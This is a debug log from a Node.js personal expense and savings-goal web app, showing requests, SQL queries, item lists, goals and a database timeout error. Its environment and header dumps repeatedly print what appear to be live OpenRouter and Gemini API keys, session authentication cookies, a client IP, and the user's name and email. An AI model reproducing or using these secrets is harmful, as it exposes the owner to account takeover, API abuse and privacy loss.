2026-03-10T03:52:38.051Z server-connect:app options: { provider: 'security' }
2026-03-10T03:52:38.051Z server-connect:output identity: 1
2026-03-10T03:52:38.051Z server-connect:app Executing action step restrict
2026-03-10T03:52:38.052Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T03:52:38.053Z server-connect:output restrict: undefined
2026-03-10T03:52:38.053Z server-connect:router Render template layouts/main
2026-03-10T03:52:38.053Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"13f28-uxO7k5OX1XeCubJvdfAZXLB9+ac"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-11T03:41:30.636Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"13f28-uxO7k5OX1XeCubJvdfAZXLB9+ac"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
2026-03-10T03:52:39.166Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-10T03:52:39.167Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-10T03:52:39.168Z server-connect:router Serving serverConnect /api/goals/list
2026-03-10T03:52:39.169Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-03-10T03:52:39.169Z server-connect:app Executing action step identify
2026-03-10T03:52:39.169Z server-connect:app options: { provider: 'security' }
2026-03-10T03:52:39.169Z server-connect:output identity: 1
2026-03-10T03:52:39.169Z server-connect:app Executing action step restrict
2026-03-10T03:52:39.169Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:52:39.169Z server-connect:app Executing action step identify
2026-03-10T03:52:39.169Z server-connect:app options: { provider: 'security' }
2026-03-10T03:52:39.169Z server-connect:output identity: 1
2026-03-10T03:52:39.169Z server-connect:app Executing action step restrict
2026-03-10T03:52:39.169Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:52:39.170Z server-connect:app Executing action step identify
2026-03-10T03:52:39.170Z server-connect:app options: { provider: 'security' }
2026-03-10T03:52:39.170Z server-connect:output identity: 1
2026-03-10T03:52:39.170Z server-connect:app Executing action step restrict
2026-03-10T03:52:39.171Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:52:39.171Z server-connect:output restrict: undefined
2026-03-10T03:52:39.171Z server-connect:app Executing action step select
2026-03-10T03:52:39.171Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-10T03:52:39.172Z server-connect:app Executing action step identify
2026-03-10T03:52:39.172Z server-connect:app options: { provider: 'security' }
2026-03-10T03:52:39.172Z server-connect:output identity: 1
2026-03-10T03:52:39.172Z server-connect:app Executing action step restrict
2026-03-10T03:52:39.172Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-10T03:52:39.174Z server-connect:output restrict: undefined
2026-03-10T03:52:39.174Z server-connect:app Executing action step single
2026-03-10T03:52:39.174Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-10T03:52:39.174Z server-connect:output restrict: undefined
2026-03-10T03:52:39.174Z server-connect:app Executing action step custom
2026-03-10T03:52:39.174Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-03-10T03:52:39.178Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-10T03:52:39.180Z server-connect:output restrict: undefined
2026-03-10T03:52:39.180Z server-connect:app Executing action step paged
2026-03-10T03:52:39.180Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-10T03:52:39.180Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-10T03:52:39.182Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '0',
    grand_total_target: '4100000'
  }
]
2026-03-10T03:52:39.184Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -10 },
    current: 1,
    total: 0
  },
  data: []
}
2026-03-10T03:52:45.000Z server-connect:router Serving templateView /todo
2026-03-10T03:52:45.001Z server-connect:app Executing action step identify
2026-03-10T03:52:45.001Z server-connect:app options: { provider: 'security' }
2026-03-10T03:52:45.001Z server-connect:output identity: 1
2026-03-10T03:52:45.001Z server-connect:app Executing action step restrict
2026-03-10T03:52:45.001Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T03:52:45.001Z server-connect:output restrict: undefined
2026-03-10T03:52:45.001Z server-connect:router Render template todo
2026-03-10T03:52:45.001Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/todo',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"78e5-yxhbne6P4b4cgcFUMWk6bcqpSEA"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-11T03:41:30.636Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/todo',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"78e5-yxhbne6P4b4cgcFUMWk6bcqpSEA"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Aj2CtATEBF5Rf8R70pZNBtQ%3D%3D.3uNhkVDixLCub6azOm8ZIs3ZFiuo12Guu%2Be2SU%2B2DzDtSbfx3%2FVft%2BZascIdXrRqTLc2KemGRJKzKa1x2iJpOSczjr2gr3BvW7WbMv6ARLR5qQhfYM4U1UpROYbJBLTeGRnEa7l1ES2AI8syHLgwr5K3XS3oCNaEkAIm0ugVZl8%3D.0Ja7HQI3FQAw%2Fd4r6MWQWJa8zmRGQ3t9KTMSeSIYpnM; your_r_git.sid=s%3AD_VVxiJjpx-TfR3n2ysLnbHtbhkBSevL.n879CM4YqFDNFmN6%2BSyy9KPSqdGotD3iyPfXUIJGYAI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-10 08:18:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-10 08:18:03' as DATETIME)"
}
2026-03-10T12:34:16.225Z server-connect:router Serving templateView /
2026-03-10T12:34:16.227Z server-connect:app Executing action step identify
2026-03-10T12:34:16.227Z server-connect:app options: { provider: 'security' }
2026-03-10T12:34:16.227Z server-connect:auth No login cookie found
2026-03-10T12:34:16.227Z server-connect:output identity: false
2026-03-10T12:34:16.227Z server-connect:app Executing action step restrict
2026-03-10T12:34:16.227Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-10T12:34:16.227Z server-connect:output restrict: undefined
